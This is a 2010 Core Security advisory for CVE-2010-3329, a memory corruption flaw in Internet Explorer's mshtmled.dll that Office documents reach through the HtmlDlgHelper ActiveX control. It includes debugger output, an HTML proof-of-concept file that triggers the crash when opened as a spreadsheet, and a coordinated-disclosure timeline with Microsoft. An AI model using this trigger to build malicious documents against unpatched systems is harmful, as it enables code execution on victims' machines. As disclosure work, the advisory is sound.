Microsoft Office HtmlDlgHelper class memory corruption

Advisory ID Internal

1. Advisory Information

Title: Microsoft Office HtmlDlgHelper class memory corruption
Advisory Id: CORE-2010-0517
Advisory URL:
Date published: 2010-10-12
Date of last update: 2010-10-12
Vendors contacted: Microsoft
Release mode: Coordinated release

2. Vulnerability Information

Class: Buffer Overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2010-3329
Bugtraq ID: N/A

3. Vulnerability Description

Microsoft Windows is prone to a memory corruption vulnerability when instantiating the HtmlDlgHelper Class Object in a Microsoft Office Document (ie: .XLS, .DOC). The affected vulnerable module is part of Internet Explorer (mshtmled.dll). This vulnerability could be used by a remote attacker to execute arbitrary code with the privileges of the user that opened the malicious file.

4. Vulnerable Packages

  • IE 6
  • IE 7
  • IE 8
  • MS Office XP
  • MS Office 2003
  • MS Office 2007 and MS Office 2010 (the control is disabled by default)

5. Non-Vulnerable Packages

  • For further information and patches about this issue look at the Microsoft Security Bulletin Summary for October 2010 [1].

6. Credits

This vulnerability was discovered by Damián Frizza from Core Security Technologies.

7. Technical Description / Proof of Concept Code

Microsoft Windows is prone to a memory corruption vulnerability when instantiating the HtmlDlgHelper Class Object (CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b) in a Microsoft Office Document (ie: .XLS, .DOC). The affected vulnerable module is part of Internet Explorer (mshtmled.dll). The vulnerability occurs in mshtmled.dll when the destructor of the CHtmlDlgHelper class is called and then makes access to uninitialized memory.

The ActiveX control is marked as "Not Safe for Initialization", and prompts the user with: "ActiveX controls might contain viruses or other security hazards. Do not enable this content unless you trust the source of this file". However, in Office 2003 the bug is triggered even if the user answers "No" to the prompt.

The following code is where the vulnerability occurs, when opening a .XLS document on Microsoft Office Excel 2003 (mshtmled.dll v8.0.6001.18702):

42b919c0 8bff            mov     edi,edi
42b919c2 55              push    ebp
42b919c3 8bec            mov     ebp,esp
42b919c5 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:0013d104=00310065
42b919c8 85c0            test    eax,eax
42b919ca 7406            je      mshtmled!ReleaseInterface+0x12 (42b919d2) [br=0]
42b919cc 8b08            mov     ecx,dword ptr [eax]  ds:0023:00310065
42b919ce 50              push    eax
42b919cf ff5108          call    dword ptr [ecx+8]    ds:0023:7d02029c=2a2c277a

eax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc edi=00000000
eip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

Stack Trace:
mshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting destructor'+0xd
Instruction Address: 0x000000002a2c277a

The following html code demonstrates the bug on Excel 2002/2003. Save the file as .XLS and open it on Excel.

<html xmlns:v="urn:schemas-microsoft-com:vml"

<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<!--[if !mso]>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
x\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
<![endif]--><!--[if gte mso 9]><xml>

<!--[if gte mso 9]><xml>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapedefaults v:ext="edit" spidmax="1026"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <o:shapelayout v:ext="edit">
  <o:idmap v:ext="edit" data="1"/>

<body link=blue vlink=purple>

<table x:str border=0 cellpadding=0 cellspacing=0 width=64 style='border-collapse:
 <col width=64 style='width:48pt'>
 <tr height=17 style='height:12.75pt'>
  <td height=17 width=64 style='height:12.75pt;width:48pt' align=left
  valign=top><!--[if gte vml 1]><v:shapetype id="_x0000_t201" coordsize="21600,21600"
   o:spt="201" path="m,l,21600r21600,l21600,xe">
   <v:stroke joinstyle="miter"/>
   <v:path shadowok="f" o:extrusionok="f" strokeok="f" fillok="f"
   <o:lock v:ext="edit" shapetype="t"/>
  </v:shapetype><v:shape id="_x0000_s1025" type="#_x0000_t201" style='position:absolute;
   strokecolor="windowText [64]" o:insetmode="auto">
   <![if gte mso 9]><o:title=""/>
   <![endif]><x:ClientData ObjectType="Pict">
  </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;

<object classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B" id=obj></object>

<![if !vml]></span><![endif]><span
  <table cellpadding=0 cellspacing=0>
    <td height=17 width=64 style='height:12.75pt;width:48pt'></td>
 <![if supportMisalignedColumns]>
 <tr height=0 style='display:none'>
  <td width=64 style='width:48pt'></td>


This exploitable condition was reproduced in the following versions of mshtmled.dll:

  • mshtmled.dll v8.0.6001.18702
  • mshtmled.dll v8.0.6001.18000
  • mshtmled.dll v7.0.6000.17023
  • mshtmled.dll v7.0.6000.17080

8. Report Timeline

  • 2010-05-28: Initial notification to the vendor. Draft advisory and proof-of-concept files sent to MSRC. Publication date set for July 13, 2010.
  • 2010-06-11: Core requests from the vendor an update on the status of this case.
  • 2010-06-14: The vendor responds that its engineers are still investigating this issue; and that they expect to have more information from the investigation and triage process within the next few days.
  • 2010-06-15: The vendors informs that they have been determined that the ActiveX control is marked as "Not Safe for Initialization"; and prompts the user with a dialog that warns the user that they are going to be executing a potentially malicious code. In consequence, the vendor treats this case as the same scenario as a user that tries to enable and open an Office document with a Macro or VBA code contained within.
  • 2010-06-15: Core asks the vendor if the previous mail means that it does not intent to fix the bug or that it does not recognize it as a security issue. The reporter's viewpoint is that a dialog prompt is not a fix "per se" and just a defense in depth mechanism; and that he would prefer to see the bug fixed rather than relying on mitigations that prevent exploitation.
  • 2010-06-15: Core adds the following information: in Office 2003 even if the user answers No to the ActiveX dialog, the application ends up crashing.
  • 2010-06-16: Vendor responds that it is currently investigating the new information.
  • 2010-06-28: Vendor informs that it has found that the vulnerable code actually exists and is owned by the IE team whom is currently investigating the crash; and that this case is transferred over to them (and to a new case manager as well).
  • 2010-07-02: Vendor informs Core that the IE team has finished the investigation into this issue and was able to reproduce the issue reported. During the investigation it was determined that this is an exploitable crash in Internet Explorer. Vendor will send Core the list of affected Internet Explorer versions when available.
  • 2010-07-02: Core acknowledges receipt of the update, and reminds that although the vulnerable code is owned by the IE team this also affects Office (including 2010). Core offers to postpone publication of its advisory from July 13th to August 10th on the basis of a firm commitment to a release date from the vendor's side. Core informs that it is evaluating the possibility of using Office killbit recently introduced by MS10-036 as a workaround, but that MS10-036 points to a knowledge base article [2] that is no longer available.
  • 2010-07-07: Vendor acknowledges previous mail, and states that it will determine with the product team how this fix could be included in the August release. Vendor requests an updated version of the advisory, and to include a vendor statement.
  • 2010-07-22: Core requests an update on the status of the vulnerability report; and informs that publication of its advisory has been rescheduled to August 10, 2010, despite the fact that Core did not receive any updates. Core informs that the publication of this advisory is transferred to a new case manager.
  • 2010-08-04: Core sends an updated version of the advisory and also asks if MSRC can provide:
    1. The list of affected software versions.
    2. The CVE number assigned to this vulnerability (if it exists).
    3. The steps to reproduce the vulnerability in IE [3].
    4. The link to the knowledge base article about the newly introduced Office killbit given that Core is investigating using that defense mechanism as a workaround but MS10-036 points to a knowledge base article that is no longer available (
    Core also notifies this advisory is currently scheduled to be published on August 10, 2010 but the publication can be reviewed if Microsoft responds with a firm commitment to a release date of fixes, and technical information about the root cause of this vulnerability.
  • 2010-08-04: MSRC responds that the updated advisory draft was internally forwarded and they are working on collecting answers to the requested questions.
  • 2010-08-05: MSRC sends the answers to the asked questions:
    1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.
    2. MSRC is unable to assign a CVE as it is too early. CVEs are typically assigned closer to the scheduled release date and MSRC will receive the block of CVEs from Mitre for the October release of the Internet Explorer security update.
    3. MSRC notifies there is no attack vector in IE, and they cannot provide steps to reproduce the vulnerability in IE.
    4. The knowledge base article about the newly introduced Office killbit was redirected to
  • 2010-08-06: Core asks MSRC to clarify if the fix for this issue has been scheduled to be released in October.
  • 2010-08-06: MSRC confirms that the fix for this issue is scheduled for the October release of IE.
  • 2010-08-09: Core re-schedules the publication of the advisory for October 12 and notifies that this date should be considered as final, if Microsoft does not release fixes on that date, the advisory will be released as 'user release'.
  • 2010-08-09: MSRC confirms that the fix for this issue is scheduled for the October release of IE.
  • 2010-10-01: MSRC provides a status update about this issue and notifies that it is slated to be included in the October release of the IE Cumulative Update and SafeHTML update scheduled for October 12, 2010. MSRC also notifies that the CVE assigned to this issue is CVE-2010-3329.
  • 2010-10-01: MSRC notifies that they have made a mistake and included an invalid detail in the last status update. In particular, the issue does not affect the SafeHTML update scheduled for October but it will be shipping in the IE Cumulative Update scheduled for October.
  • 2010-10-01: Core acknowledges the MSRC's e-mail and notifies that although the problem is located in IE-owned code, the problem also affects Office up to 2010. Core assumes this will be specified in the MSRC bulletin and asks for confirmation.
  • 2010-10-04: MSRC confirms that the description of the vulnerability calls out that the vector to the vulnerability is through opening a word document.
  • 2010-10-12: Advisory CORE-2010-0517 is published.

9. References

[1] Microsoft security bulletin summary for October 2010 -

[2] Office killbit

[3] This bug was originally investigated in Microsoft Office by Core, but MSRC determined [2010-07-02] that this bug is an exploitable crash in Internet Explorer.

[4] MSRC was not able to reproduce this issue on IE6, however they notifies the code has been determined to exist in this version and the fix will be scoped to address this platform as well.

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at:

11.About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at

12. Disclaimer

The contents of this advisory are copyright (c) 2010 Core Security Technologies and (c) 2010 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.